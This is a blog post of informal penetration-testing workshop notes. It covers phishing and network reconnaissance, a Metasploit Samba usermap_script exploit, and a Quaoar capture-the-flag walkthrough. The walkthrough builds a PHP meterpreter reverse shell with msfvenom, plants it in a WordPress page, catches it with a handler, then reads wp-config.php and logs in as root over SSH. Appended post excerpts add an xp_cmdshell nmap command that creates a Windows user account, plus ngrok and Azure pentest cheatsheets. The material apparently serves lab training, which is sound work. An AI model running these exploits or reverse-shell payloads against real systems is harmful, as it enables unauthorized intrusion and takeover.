Skip to main content

CISCO workshop

CISCO workshop

==================== PHISHING CAMPAIGN ==================================================
Passive Reconnaisance
-----------------------------------------------------------------------------------------
site.sqcury, qwtera is a virus total vendor

crawling --> digging into a site

namecheap --> can buy all kinds of domains.. phishing sites as well.

check for patterns and directories

typosquatting --> url hijacking

phishng sites:

http://cawpmnttraffi.com/  --> limitedverz.info  -->

pishtank --> cisco's

campaigns --> 1000 sites comprise can drop a malware (phishing campaign)


https://sitecheck.sucuri.net/  --> check phishng sites; https://www.virustotal.com/

==============================================================================================================
--------------------------------------------------------------------------------------------------------------
==============================================================================================================

nmap --> uses 2 way handshake

------------------------------------------------------------------------------------------------------
================================Active RECONNAISANCE==================================================
------------------------------------------------------------------------------------------------------

find the ip's in the network
-----------------------------
netdiscover -r IP_range

nmap Working:
--------------------

nmap logic is its gonna knock and it gonna "ask are you there!, is port 22 open, it resonds and replies.

nmap sends a syn and wait, sends a fin and waits, all it needs is the port exits or not
its a Combination of arp, netbios and ping. its fingerpringing, finding out the target.

does a arp scan then pings ,..

cripting engine --> can invoke a script as well.

nmap has 3 outputs --> open,closed, filtered

nmap 192.168.25.102
nmap -R 192.168.25.102
--> check for old versions to get vulnerabilities
nmap -sS -sV 192.168.25.102   // -sS = syn scan(stealth), -sV = version scan\

nmap -sS -sV -O -vv 192.168.25.102  // -vv = verbose -o = os

nmap scans frequenly used ports .. 1000 ports
 
enum4linux 192.168.56.102      // enumeration - get more details on the network

dirb site_address

-----------------------------------------------------------------------------------------------------------
======================================= METASPLOIT ========================================================
-----------------------------------------------------------------------------------------------------------

shell = to enter kernel
metasploit built on ruby

metasploit payloads works as dlls
meterpreter shell is stealth.

single and staged(established a connection, pushes a code to work on it ) payload

reverse shell = once you get a shell, give it back to me. connect me again

-----------------------------------------------------------------------------------------
EXPLOITING SAMBA VULNERABILITY
-----------------------------------------------------------------------------------------
msfconsole

use exploit/multi/samba/usermap_script
show options
set RHOST 192.168.149.102
set LHOST 192.168.149.101
set LPORT 4444
show options
run

svchost.exe --> collection of dlls'

google bombing

emoted trojans

--------------------------------------------------------------------------------------------------------------

=================================== HACKING QUAOAR ========================================================

---------------------------------------------------------------------------------------------------------------
netdiscover -r ip
ping target
nmap -sS -sV -O -vv ip

--> if port 80 is open
dirb http://ip
check for robots.txt --> ip/robots.txt

check for the application version

enum4linux ip

check for usernames and accounts
----------------------------------------------------
niktos --> fingerpringing tool for checking the applications

nikto -h taraget_IP

beautiful soup --> python crawler

------------------------------------------------------------

quaror has a wordpres in built, so we need to check to wp vunlerabilities

wpscan --url http://192.168.56.101/wordpress

//check for users
wpscan --url http://192.168.56.101/wordpress --enumerate user

msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.56.101 lport=4444 –f raw > shell.php
//paste the code into the wp page

msfconsole
use exploit multi/handler
set payload php/meterpreter/reverse_tcp
show options
set lhost 192.168.56.102
set lport 4444

// open the wp page that you

exploit the shit

//go into the wp-config.php  file
//download and open it or use

cat wp-config.php

ssh root@192.168.56.101
rootpassword!





































Comments

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...

Host and Application locally and access it over the internet via ngrock

 ngrock creates a tunnel from your local machine to ngrock server and host it on the internet via their HTTPS url  Resister an account on ngrock and login #Download the client curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok #add the authToken ngrok config add-authtoken 2p7Oc #start a python server on your application python -m http.server 3000 #start the server - use the same port as the python server (3000 in below example) ngrok http http://localhost:3000 --request-header-add "ngrok-skip-browser-warning: true" Setting up a Request Header - Login to the application --> Univeral Gateway --> Edges - Create an Edge --> Request Headers --> `ngrok-skip-browser-warning :12 - go back to overv...

Cloud Pentest Cheatsheet - Azure

Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are: Azure Active Directory (AAD) Azure Resource Manager (ARM) Office 365 (O365) Initial Access Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.   Entra ID Directory Role Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID. Types of Roles: Built-in Directory Roles Global Administrator Application Administrator User Administrator Custom Directory Roles Accessing APIs in Azure Entra ID - Access via Microsoft Graph API Endpoint {HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters} Azure Resource Manager API Endpoint (ARM-specific) {HTTP method} https://management.azure...